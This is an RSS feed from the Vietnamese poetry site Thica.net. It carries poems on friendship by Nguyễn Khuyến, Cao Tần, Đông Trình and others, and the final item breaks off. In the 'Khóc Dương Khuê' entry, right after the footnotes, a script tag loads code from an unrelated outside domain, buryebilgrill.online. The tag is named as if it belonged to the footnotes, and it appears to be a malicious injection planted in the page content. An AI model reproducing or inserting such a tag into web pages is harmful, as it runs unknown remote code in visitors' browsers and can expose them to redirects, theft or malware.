<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netThơ có chủ đề &quot;Tình bạn&quot; - Thica.net</title>
	<atom:link href="https://www.thica.net/the/tinh-b%e1%ba%a1n/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/the/tinh-bạn/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Uống rượu</title>
		<link>https://www.thica.net/2026/03/13/uong-ruou-3/</link>
		<comments>https://www.thica.net/2026/03/13/uong-ruou-3/#respond</comments>
		<pubDate>Fri, 13 Mar 2026 06:12:14 +0000</pubDate>
		<dc:creator><![CDATA[Trần Huyền Trân]]></dc:creator>
				<category><![CDATA[Trần Huyền Trân]]></category>
		<category><![CDATA[Rượu]]></category>
		<category><![CDATA[Tình bạn]]></category>
		<category><![CDATA[Tuổi trẻ]]></category>

		<guid isPermaLink="false">https://www.thica.net/?p=18431</guid>
		<description><![CDATA[<p>[...]</p>
<p>Tôi là nắng - Cụ là sương<br />
Tôi bừng dậy sớm, cụ nương bóng chiều<br />
Gió mưa tóc cụ đã nhiều<br />
Lòng còn gánh nặng bao nhiêu khối tình.<br />
Huống tôi mái tóc đang xanh<br />
Vâng, tôi trăm thác ngàn ghềnh còn đi</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2026/03/13/uong-ruou-3/">Uống rượu</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Cụ hâm rượu nữa đi thôi<br />Be này chừng sắp cạn rồi còn đâu<br />Rồi lên ta uống với nhau<br />Rót đau lòng ấy vào đau lòng này.<br />Tôi say?<br />      Thưa trẻ chưa đầy<br />Cái đau nhân thế thì say nỗi gì<br />Đường xa ư cụ?<br />            Quản chi<br />Đi gần hạnh phúc là đi xa đường.</p><p>Tôi là nắng &#8211; Cụ là sương<br />Tôi bừng dậy sớm, cụ nương bóng chiều<br />Gió mưa tóc cụ đã nhiều<br />Lòng còn gánh nặng bao nhiêu khối tình.<br />Huống tôi mái tóc đang xanh<br />Vâng, tôi trăm thác ngàn ghềnh còn đi<br />Với đời một thoáng say mê<br />Còn hơn đi chán về chê suông đời.<br />Rót đi, rót rót đi thôi!<br />Rót cho tôi cả mấy mươi tuổi đầu<br />Nguồn đau cứ rót cho nhau<br />Lời say sưa mới là câu chân tình.</p><p>The post <a href="https://www.thica.net/2026/03/13/uong-ruou-3/">Uống rượu</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2026/03/13/uong-ruou-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">18431</post-id>	</item>
		<item>
		<title>Cửa mở</title>
		<link>https://www.thica.net/2021/07/31/cua-mo/</link>
		<comments>https://www.thica.net/2021/07/31/cua-mo/#respond</comments>
		<pubDate>Sat, 31 Jul 2021 09:23:08 +0000</pubDate>
		<dc:creator><![CDATA[Diễm Châu]]></dc:creator>
				<category><![CDATA[Diễm Châu]]></category>
		<category><![CDATA[Tình bạn]]></category>

		<guid isPermaLink="false">https://www.thica.net/?p=17829</guid>
		<description><![CDATA[<p>[...]</p>
<p>ngày bạn đến cho tôi một nhúm mè<br />
một gói đậu phọng<br />
bạn ngồi trên yên xe ở ngoài cửa<br />
dặn rang lên cho muối nhiều nhiều mà ăn<br />
bữa cơm chiều hôm ấy tôi ăn với muối mè<br />
tán đậu phọng bạn cho<br />
gạt đôi dòng nước mắt<br />
nhớ ơn bạn đời đời</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2021/07/31/cua-mo/">Cửa mở</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p><em> — Nguyễn Nguyên i. m.</em></p><p>Cửa mở cửa mở<br />không cần gõ&#8230;<br />bạn đến bạn đi&#8230; lúc nào tôi chả biết,<br />sao không đẩy cửa vào?</p><p>tôi vẫn để cửa mở&#8230;<br />bạn nói:<br />nhà có gì đâu mà sợ mất!<br />đúng vậy:<br />một điếu thuốc thơm<br />một chung trà ấm<br />vẫn chờ&#8230;</p><p>con heo mọi nhà tôi hôi hám<br />nó vẫn chạy dọc ngang trong buồng<br />ấy là con thứ mấy tôi không nhớ<br />nhưng tôi chỉ nuôi được một con&#8230;</p><p>ngày bạn đến cho tôi một nhúm mè<br />một gói đậu phọng<br />bạn ngồi trên yên xe ở ngoài cửa<br />dặn rang lên cho muối nhiều nhiều mà ăn<br />bữa cơm chiều hôm ấy tôi ăn với muối mè<br />tán đậu phọng bạn cho<br />gạt đôi dòng nước mắt<br />nhớ ơn bạn đời đời</p><p>vợ tôi chết ngoài biển<br />con tôi ở kampuchea<br />nhà lúc này hoang vắng<br />con heo mọi cũng không còn<br />cỏ dại mọc đầy</p><p>. . .</p><p>tôi nghe bạn về chơi<br />không mong nhưng vẫn chờ<br />cám ơn bạn đã đến<br />đã để quà ngoài cửa<br />rồi sè sẹ bỏ đi</p><p>cửa mở cửa mở<br />cửa vẫn mở&#8230;</p><p>sao không đẩy cửa vào<br />như mọi khi.</p><p>01.02.2005<br />(đã đăng trên <em>Người Hà Nội</em> số ra ngày 25.02.2005)</p><p>The post <a href="https://www.thica.net/2021/07/31/cua-mo/">Cửa mở</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2021/07/31/cua-mo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">17829</post-id>	</item>
		<item>
		<title>Trên non cao</title>
		<link>https://www.thica.net/2018/07/16/tren-non-cao/</link>
		<comments>https://www.thica.net/2018/07/16/tren-non-cao/#respond</comments>
		<pubDate>Mon, 16 Jul 2018 00:07:02 +0000</pubDate>
		<dc:creator><![CDATA[Cao Tần]]></dc:creator>
				<category><![CDATA[Cao Tần]]></category>
		<category><![CDATA[Núi]]></category>
		<category><![CDATA[Tình bạn]]></category>
		<category><![CDATA[Tuổi trẻ]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=17333</guid>
		<description><![CDATA[<p>Ta biết nhà ông rầu thấy mồ <br />
Thôi cuối tuần này theo ta lên núi <br />
Lên thật cao nhìn xuống đời lô nhô <br />
Rũ bớt bụi trần, quên thân múa rối </p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2018/07/16/tren-non-cao/">Trên non cao</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Ta biết nhà ông rầu thấy mồ<br />Thôi cuối tuần này theo ta lên núi<br />Lên thật cao nhìn xuống đời lô nhô<br />Rũ bớt bụi trần, quên thân múa rối </p><p>Hơn mười năm nhà ông bay trên cao<br />Mặt đất nâu xanh nằm ngoan dưới gót<br />Nhân loại tí teo xinh đẹp chừng nào<br />Nhân loại hiền từ như những con sâu </p><p>Những đêm đen tàu trôi qua thành phố<br />Cả đất trời nở triệu ánh sao xinh<br />Mặc những đấu tranh lọc lừa dưới đó<br />Nhìn từ cao nhân thế thật thanh bình </p><p>Đời khốn kiếp quăng tòm ông xuống đất<br />Bôi mặt nhà ông giống một tên hề<br />Tên hề giễu trong kịch đời luân lạc<br />Kịch như đời: nhạt nhẽo, lê thê. </p><p>Trên núi cao ta biết rành một chỗ<br />Có hòn đá xanh có gốc thông già<br />Ngồi trên đá ông sẽ thành Trang Tử<br />Hồn nhẹ tênh theo bướm lượn chiều tà </p><p>Hãy tựa gốc thông mà nhìn xuống thế<br />Tưởng hôm nào ngất ngưởng chín tầng mây<br />Còn thương mãi một nhân gian nhỏ bé<br />Có thể ôm tròn trong đôi cánh tay </p><p>Nhà ông khổ hơn người vì đôi cánh<br />Những thinh không bát ngát, những trời xa<br />Này cánh đại bàng nhớ chân trời thẳm<br />Thôi cuối tuần này lên núi cùng ta. </p><p>Tháng 11-77 </p><p>The post <a href="https://www.thica.net/2018/07/16/tren-non-cao/">Trên non cao</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2018/07/16/tren-non-cao/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">17333</post-id>	</item>
		<item>
		<title>Thơ say cho thằng bạn tỉnh</title>
		<link>https://www.thica.net/2017/08/26/tho-say-cho-thang-ban-tinh/</link>
		<comments>https://www.thica.net/2017/08/26/tho-say-cho-thang-ban-tinh/#respond</comments>
		<pubDate>Sat, 26 Aug 2017 00:07:56 +0000</pubDate>
		<dc:creator><![CDATA[Đào Phong Lan]]></dc:creator>
				<category><![CDATA[Đào Phong Lan]]></category>
		<category><![CDATA[Cuộc đời]]></category>
		<category><![CDATA[Say]]></category>
		<category><![CDATA[Tình bạn]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=16765</guid>
		<description><![CDATA[<p>Chẳng lẽ hai đứa mình an phận <br />
Sống từ đây đến lúc… chết già? <br />
Không dám yêu nên không dám hận <br />
Không thể gần nên chẳng thể xa. </p>
<p>[...]</p>
<p>Thôi mày ạ <br />
Biết thế nào mà nói… <br />
Biết thế nào để hai đứa say nguôi? <br />
Mai tỉnh lại trên trần gian yếu đuối <br />
Hai chúng ta hổ thẹn làm người…</p>
<p>The post <a href="https://www.thica.net/2017/08/26/tho-say-cho-thang-ban-tinh/">Thơ say cho thằng bạn tỉnh</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Nhậu đi mày<br />nhậu cho say trời đất<br />cho quên đi cảm giác làm người<br />Đêm xuống vội mà hai thằng không vội<br />Choàng vai nhau ngạo nghễ chuyện khinh đời </p><p>Tao chết nhát, mày lại càng nhát chết<br />Nên chưa khinh đời<br />đời đã khinh ta.<br />Ôi mà đời có khinh thì cũng vậy<br />Chấp làm gì những chuyện ngày qua </p><p>Thêm một ly tao gọi mày là chú<br />Thêm miếng mồi mày xưng lại là anh<br />Đừng để ý những điều vụn vặt<br />Trái đất này cũng đang chạy loanh quanh. </p><p>Đã lâu hai đứa mình không khóc<br />Vì khóc là chuyện của … đàn bà…<br />Từng giọt rượu nhỏ xuống đời đùng đục<br />Sao uống vào lại mặn xót xa… </p><p>Chẳng lẽ hai đứa mình an phận<br />Sống từ đây đến lúc… chết già?<br />Không dám yêu nên không dám hận<br />Không thể gần nên chẳng thể xa. </p><p>Ném tất cả phù du vào sọt rác<br />Những sầu bi, danh vọng cũng là thường<br />Choàng lên cổ lời rủa nguyền độc ác<br />Phơi thây mình trên núi yêu thương </p><p>Thôi mày ạ<br />Biết thế nào mà nói…<br />Biết thế nào để hai đứa say nguôi?<br />Mai tỉnh lại trên trần gian yếu đuối<br />Hai chúng ta hổ thẹn làm người…</p><p>The post <a href="https://www.thica.net/2017/08/26/tho-say-cho-thang-ban-tinh/">Thơ say cho thằng bạn tỉnh</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2017/08/26/tho-say-cho-thang-ban-tinh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">16765</post-id>	</item>
		<item>
		<title>Bài thơ áo trắng</title>
		<link>https://www.thica.net/2015/12/27/bai-tho-ao-trang/</link>
		<comments>https://www.thica.net/2015/12/27/bai-tho-ao-trang/#respond</comments>
		<pubDate>Sun, 27 Dec 2015 01:25:27 +0000</pubDate>
		<dc:creator><![CDATA[Trần Mạnh Hảo]]></dc:creator>
				<category><![CDATA[Trần Mạnh Hảo]]></category>
		<category><![CDATA[Áo trắng]]></category>
		<category><![CDATA[Hoài niệm]]></category>
		<category><![CDATA[Tình bạn]]></category>
		<category><![CDATA[Tuổi học trò]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=15841</guid>
		<description><![CDATA[<p>[...]</p>
<p>Ngoảnh lại còn mây áo trắng bay <br />
Thời gian tình bạn vẽ lông mày <br />
Trái tim đừng bẻ ô mai sớm <br />
Sợ dấu môi hồng phai gió mây. </p>
<p>The post <a href="https://www.thica.net/2015/12/27/bai-tho-ao-trang/">Bài thơ áo trắng</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Áo trắng đâu rồi, áo trắng ơi?<br />Còn mây răng sún ở bên trời<br />Còn trăng cong cớn me chua ấy<br />Còn tối tan trường ai bám đuôi.</p><p>Áo trắng đâu rồi, áo trắng đây<br />Gió kia mười bảy có khi gầy<br />Ngôi sao trứng cá còn e ấp<br />Nắng dậy thì ai mắt chớm ngây.</p><p>Áo trắng nhìn gương ngỡ nhỏ nào<br />Trời xanh đẹp quá chợt làm cao<br />Bạn trai ngồi cạnh thành cây sậy<br />Chạm mặt vờ quay chẳng dám chào.</p><p>Ngoảnh lại còn mây áo trắng bay<br />Thời gian tình bạn vẽ lông mày<br />Trái tim đừng bẻ ô mai sớm<br />Sợ dấu môi hồng phai gió mây. </p><p>The post <a href="https://www.thica.net/2015/12/27/bai-tho-ao-trang/">Bài thơ áo trắng</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2015/12/27/bai-tho-ao-trang/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">15841</post-id>	</item>
		<item>
		<title>Khóc Dương Khuê</title>
		<link>https://www.thica.net/2014/06/11/khoc-duong-khue/</link>
		<comments>https://www.thica.net/2014/06/11/khoc-duong-khue/#respond</comments>
		<pubDate>Wed, 11 Jun 2014 02:40:27 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Khuyến]]></dc:creator>
				<category><![CDATA[Nguyễn Khuyến]]></category>
		<category><![CDATA[Mất mát]]></category>
		<category><![CDATA[Tình bạn]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12450</guid>
		<description><![CDATA[<p>[...]</p>
<p>Cũng có lúc chơi nơi dặm khách,<br />
Tiếng suối nghe róc rách lưng đèo<br />
Có khi tầng gác cheo leo<br />
Thú vui con hát lựa chiều cầm xoang.</p>
<p>Cũng có lúc rượu ngon cùng nhắp<br />
Chén quỳnh tương ăm ắp bầu xuân<br />
Có khi bàn soạn câu văn<br />
Biết bao đông bích, điển phần trước sau.</p>
<p>Buổi dương cửu cùng nhau hoạn nạn<br />
Phận đấu thăng chẳng dám tham trời<br />
Bác già, tôi cũng già rồi<br />
Biết thôi, thôi thế thì thôi mới là!</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2014/06/11/khoc-duong-khue/">Khóc Dương Khuê</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Bác Dương thôi đã thôi rồi,<br />Nước mây man mác ngậm ngùi lòng ta</p><p>Nhớ từ thuở đăng khoa <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_0_12450" id="identifier_0_12450" class="footnote-link footnote-identifier-link" title="Thi đỗ">1</a></sup> ngày trước<br />Vẫn sớm hôm tôi bác cùng nhau<br />Kính yêu từ trước đến sau<br />Trong khi gặp gỡ khác đâu duyên trời?</p><p>Cũng có lúc chơi nơi dặm khách<br />Tiếng suối nghe róc rách lưng đèo<br />Có khi tầng gác cheo leo<br />Thú vui con hát lựa chiều cầm xoang.</p><p>Cũng có lúc rượu ngon cùng nhắp<br />Chén quỳnh tương <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_1_12450" id="identifier_1_12450" class="footnote-link footnote-identifier-link" title="Quỳnh: t&ecirc;n ngọc qu&yacute;, tương: hồ, nước cơm để l&agrave;m rượu. Quỳnh tương chỉ một loại rượu qu&yacute;.">2</a></sup> ăm ắp bầu xuân<br />Có khi bàn soạn câu văn<br />Biết bao đông bích, điển phần <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_2_12450" id="identifier_2_12450" class="footnote-link footnote-identifier-link" title="Đ&ocirc;ng b&iacute;ch: v&aacute;ch phương đ&ocirc;ng, chữ lấy c&acirc;u thơ của Trương Thuyết: &ldquo;Đ&ocirc;ng b&iacute;ch đồ thư phủ&rdquo; (kho tranh v&agrave; s&aacute;ch ở v&aacute;ch phương đ&ocirc;ng). Điển phần: chỉ chung s&aacute;ch vở cũ; điển (nghĩa đen l&agrave; ph&eacute;p tắc) tức l&agrave; ngũ điển, năm s&aacute;ch điển của c&aacute;c vua Thiếu Hiệu, Chuy&ecirc;n H&uacute;c, Cao T&acirc;n, Đường Nghi&ecirc;u v&agrave; Ngu Thuấn b&ecirc;n Trung Quốc ng&agrave;y xưa; phần (nghĩa đen l&agrave; lớn) tức l&agrave; tam phần, ba s&aacute;ch phần của c&aacute;c vua Phục Hy, Thần N&ocirc;ng, v&agrave; Ho&agrave;ng Đế của thời cổ Trung Quốc.">3</a></sup> trước sau.</p><p>Buổi dương cửu <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_3_12450" id="identifier_3_12450" class="footnote-link footnote-identifier-link" title="L&uacute;c c&oacute; tai ương">4</a></sup> cùng nhau hoạn nạn<br />Phận đấu thăng <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_4_12450" id="identifier_4_12450" class="footnote-link footnote-identifier-link" title="C&aacute;i đấu, c&aacute;i thăng l&agrave; hai dụng cụ d&ugrave;ng để đo lường ng&agrave;y xưa, một thăng bằng một phần mười đấu. Lương bổng của quan xưa một phần được trả bằng gạo, đong bằng đấu v&agrave; thăng l&agrave; rất &iacute;t. C&acirc;u n&agrave;y &yacute; chỉ lương bổng &iacute;t ỏi.">5</a></sup> chẳng dám tham trời<br />Bác già, tôi cũng già rồi<br />Biết thôi, thôi thế thì thôi mới là!</p><p>Muốn đi lại tuổi già thêm nhác<br />Trước ba năm gặp bác một lần<br />Cầm tay hỏi hết xa gần<br />Mừng rằng bác vẫn tinh thần chưa can</p><p>Kể tuổi tôi còn hơn tuổi bác<br />Tôi lại đau trước bác mấy ngày<br />Làm sao bác vội về ngay<br />Chợt nghe, tôi bỗng chân tay rụng rời.</p><p>Ai chẳng biết chán đời là phải<br />Vội vàng sao đã mải lên tiên<br />Rượu ngon không có bạn hiền<br />Không mua không phải không tiền không mua.</p><p>Câu thơ nghĩ đắn đo không viết<br />Viết đưa ai, ai biết mà đưa<br />Giường kia treo những hững hờ <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_5_12450" id="identifier_5_12450" class="footnote-link footnote-identifier-link" title="Trần Phồn đời Hậu H&aacute;n c&oacute; một c&aacute;i giường để d&agrave;nh tiếp người bạn qu&yacute; l&agrave; Từ Trĩ, hễ bạn đi lại treo l&ecirc;n.">6</a></sup><br />Đàn kia gẩy cũng ngẩn ngơ tiếng đàn. <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_6_12450" id="identifier_6_12450" class="footnote-link footnote-identifier-link" title="B&aacute; Nha đời Tấn l&agrave;m quan Thượng đại phu, c&oacute; t&agrave;i chơi đ&agrave;n, c&oacute; người bạn tri &acirc;m l&agrave; Chung Tử Kỳ. Khi Tử Kỳ mất th&igrave; B&aacute; Nha đập g&atilde;y đ&agrave;n đi v&igrave; cho rằng kh&ocirc;ng c&ograve;n ai hiểu tiếng đ&agrave;n của m&igrave;nh nữa.">7</a></sup></p><p>Bác chẳng ở dẫu van chẳng ở<br />Tôi tuy thương, lấy nhớ làm thương<br />Tuổi già hạt lệ như sương<br />Hơi đâu ép lấy hai hàng chứa chan!</p><ol class="footnotes"><li id="footnote_0_12450" class="footnote">Thi đỗ</li><li id="footnote_1_12450" class="footnote">Quỳnh: tên ngọc quý, tương: hồ, nước cơm để làm rượu. Quỳnh tương chỉ một loại rượu quý.</li><li id="footnote_2_12450" class="footnote">Đông bích: vách phương đông, chữ lấy câu thơ của Trương Thuyết: &#8220;Đông bích đồ thư phủ&#8221; (kho tranh và sách ở vách phương đông). Điển phần: chỉ chung sách vở cũ; điển (nghĩa đen là phép tắc) tức là ngũ điển, năm sách điển của các vua Thiếu Hiệu, Chuyên Húc, Cao Tân, Đường Nghiêu và Ngu Thuấn bên Trung Quốc ngày xưa; phần (nghĩa đen là lớn) tức là tam phần, ba sách phần của các vua Phục Hy, Thần Nông, và Hoàng Đế của thời cổ Trung Quốc.</li><li id="footnote_3_12450" class="footnote">Lúc có tai ương</li><li id="footnote_4_12450" class="footnote">Cái đấu, cái thăng là hai dụng cụ dùng để đo lường ngày xưa, một thăng bằng một phần mười đấu. Lương bổng của quan xưa một phần được trả bằng gạo, đong bằng đấu và thăng là rất ít. Câu này ý chỉ lương bổng ít ỏi.</li><li id="footnote_5_12450" class="footnote">Trần Phồn đời Hậu Hán có một cái giường để dành tiếp người bạn quý là Từ Trĩ, hễ bạn đi lại treo lên.</li><li id="footnote_6_12450" class="footnote">Bá Nha đời Tấn làm quan Thượng đại phu, có tài chơi đàn, có người bạn tri âm là Chung Tử Kỳ. Khi Tử Kỳ mất thì Bá Nha đập gãy đàn đi vì cho rằng không còn ai hiểu tiếng đàn của mình nữa.</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2014/06/11/khoc-duong-khue/">Khóc Dương Khuê</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2014/06/11/khoc-duong-khue/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12450</post-id>	</item>
		<item>
		<title>Với bạn bè ở miền núi</title>
		<link>https://www.thica.net/2013/09/14/voi-ban-be-o-mien-nui/</link>
		<comments>https://www.thica.net/2013/09/14/voi-ban-be-o-mien-nui/#respond</comments>
		<pubDate>Sat, 14 Sep 2013 01:20:27 +0000</pubDate>
		<dc:creator><![CDATA[Đông Trình]]></dc:creator>
				<category><![CDATA[Đông Trình]]></category>
		<category><![CDATA[Nỗi nhớ]]></category>
		<category><![CDATA[Tình bạn]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=10148</guid>
		<description><![CDATA[<p>Nhớ chúng mày<br />
Xót xa như nhớ tao bị phân thân<br />
Những sợi tóc nằm không yên trên đầu<br />
Ngu ngơ rung bay trong gió<br />
Nhớ xoắn từng vòng trong kính cận thị<br />
Nhớ chôn dưới những sợi râu cằm như mìn nổ chậm</p>
<p>Buổi sáng tao thức dậy<br />
Nhớ trong bót và kem đánh răng<br />
Buổi trưa cởi giày<br />
Nhớ trườn dài trên hai sợi dây<br />
Buổi chiều tao đi hoang<br />
Nhớ cháy trong bougie mobylette<br />
Nhớ chúng mày như chết…</p>
<p>[...]</p>
<p>Xin gió rừng ôn lại cho chúng mày<br />
Về những đêm nằm chung<br />
Không đứa nào còn nhận ra được chân tay mình<br />
Về những ly cà phê<br />
Trả bằng từng đồng tiền kẽm sót dưới đáy túi mỗi đứa<br />
Về những điếu thuốc nằm hớ hênh <br />
                                        trên vành môi to tổ bố của thằng Cự<br />
Về cách nhả khói ngổ ngáo của thằng Phiên làm cái cằm vêu ra<br />
Về những cái bàn châu đầu lại trong quán “12” khi cả bọn ùa vào<br />
Về sự trầm ngâm đáng ghét của thằng Sơn<br />
Về cái tuyệt vọng ngu xuẩn của thằng Trọng<br />
Về Bằng và nói cà lắp<br />
Về Thảo và tiếng cười khục khục trong cổ<br />
Về Nhơn và người tình bong bóng<br />
Về Lục và sự bí ẩn của chỗ ở<br />
Về một đứa không còn và niềm tin bỏ lại trên cát…</p>
<p>Về những mai hội thảo<br />
Về những chiều bàn luận<br />
Về trên Thiên Thai về dưới Cửa Thuận<br />
Về trong phòng họp về ngoài nhà thuê<br />
Về những đêm vào tù<br />
Về những ngày ra khám<br />
Về huy hoàng và tủi nhục<br />
Về kiêu hãnh và mọn hèn<br />
Về mặt trời và đom đóm<br />
Về mặt trăng và dế mèn…</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2013/09/14/voi-ban-be-o-mien-nui/">Với bạn bè ở miền núi</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p><em>Gửi Trần Duy Phiên và Tiêu Dao Bảo Cự</em></p><p>Nhớ chúng mày<br />Xót xa như nhớ tao bị phân thân<br />Những sợi tóc nằm không yên trên đầu<br />Ngu ngơ rung bay trong gió<br />Nhớ xoắn từng vòng trong kính cận thị<br />Nhớ chôn dưới những sợi râu cằm như mìn nổ chậm</p><p>Buổi sáng tao thức dậy<br />Nhớ trong bót và kem đánh răng<br />Buổi trưa cởi giày<br />Nhớ trườn dài trên hai sợi dây<br />Buổi chiều tao đi hoang<br />Nhớ cháy trong bougie mobylette<br />Nhớ chúng mày như chết…</p><p>Tiếng phản lực xé mây rách ra từng đường<br />Máu chảy trên đồi Đaktô<br />Bây giờ chúng mày có yên thân không<br />Bạn bè ở miền núi?<br />Xin khói đá an ủi chúng mày<br />Bụi đỏ trang điểm chúng mày<br />Xin núi đồi bao bọc<br />Xin hoa lá ngụy trang<br />Cho tất cả đều bình an trên miền núi</p><p>Bọn tao ở dưới kinh với một nửa linh hồn còn lại<br />Buổi tối nằm ôm mình ru trong tiếng nổ<br />Căm thù và phẫn nộ<br />Thấy mất đi thật nhiều tim<br />                                    không đủ máu để chảy<br />Thấy mất đi thật nhiều phổi<br />                                          không đủ hơi để thở<br />Thấy mất đi thật nhiều dấu chân<br />                                                  không đủ nơi để tới<br />Thấy mất đi thật nhiều tay<br />                                      không đủ bạn để cầm</p><p>Xin gió rừng ôn lại cho chúng mày<br />Về những đêm nằm chung<br />Không đứa nào còn nhận ra được chân tay mình<br />Về những ly cà phê<br />Trả bằng từng đồng tiền kẽm sót dưới đáy túi mỗi đứa<br />Về những điếu thuốc nằm hớ hênh<br />                                        trên vành môi to tổ bố của thằng Cự<br />Về cách nhả khói ngổ ngáo của thằng Phiên làm cái cằm vêu ra<br />Về những cái bàn châu đầu lại trong quán “12” khi cả bọn ùa vào<br />Về sự trầm ngâm đáng ghét của thằng Sơn<br />Về cái tuyệt vọng ngu xuẩn của thằng Trọng<br />Về Bằng và nói cà lắp<br />Về Thảo và tiếng cười khục khục trong cổ<br />Về Nhơn và người tình bong bóng<br />Về Lục và sự bí ẩn của chỗ ở<br />Về một đứa không còn và niềm tin bỏ lại trên cát…</p><p>Về những mai hội thảo<br />Về những chiều bàn luận<br />Về trên Thiên Thai về dưới Cửa Thuận<br />Về trong phòng họp về ngoài nhà thuê<br />Về những đêm vào tù<br />Về những ngày ra khám<br />Về huy hoàng và tủi nhục<br />Về kiêu hãnh và mọn hèn<br />Về mặt trời và đom đóm<br />Về mặt trăng và dế mèn…</p><p>Những đứa còn lại ở đồng bằng<br />Không rời trận địa<br />Gặp nhau trong quán chị Lợi mỗi buổi chiều<br />Cầm ly cà phê trong tay<br />Như nắm lựu đạn<br />Thắp điếu thuốc lên môi<br />Như châm ngòi nổ<br />Hãy tan bọn tao ra trong từng mảnh vụn của nhớ<br />Về những bạn bè ở miền núi</p><p>Tao ân hận đã không sinh ra với thật nhiều mắt<br />Để khi chết đi mỗi đứa chúng mày vuốt một con<br />Tao ân hận mẹ đã mem sự yếu đuối cùng với<br />                                           nước miếng trong mỗi búng cơm<br />Tao ân hận cha đã chém con cái những<br />                                            cái nhìn giết chết bản ngã<br />Tao ân hận bà con quyến thuộc đã nghĩ về tao<br />                                                 bằng ghen ghét tỵ hiềm<br />Để tao lớn lên như viên bi<br />Chúng mày đừng ngạc nhiên tại sao viên bi không có góc</p><p>Hỡi những bạn bè miền núi<br />Bạn &#8211; bè &#8211; giấy &#8211; nhám<br />Đã chùi sáng tao bằng hạt tư tưởng và đỉnh cao vọng<br />Chúng mày đâm nát và chọc thủng<br />Cho tao nhìn suốt và thấy rõ<br />Chúng mày chắp cao và đào sâu<br />Chúng mày cuốn vén và khai quang…<br />Trên cánh đồng tao tuyệt vọng đã rụng<br />Và hạt tin tưởng đang nảy mầm<br />Mong cho được như vậy<br />Ở tất cả anh em bằng hữu<br />Ở tất cả học trò<br />Học trò kinh và học trò thượng<br />Học trò sạch sẽ và học trò hôi hám<br />Mong cho được như vậy &#8211; Amen!&#8230;</p><p>1965 &#8211; 1968</p><p>The post <a href="https://www.thica.net/2013/09/14/voi-ban-be-o-mien-nui/">Với bạn bè ở miền núi</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2013/09/14/voi-ban-be-o-mien-nui/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">10148</post-id>	</item>
		<item>
		<title>Hành ca cho một tương lai đã nhìn rõ mặt</title>
		<link>https://www.thica.net/2013/09/12/hanh-ca-cho-mot-tuong-lai-da-nhin-ro-mat/</link>
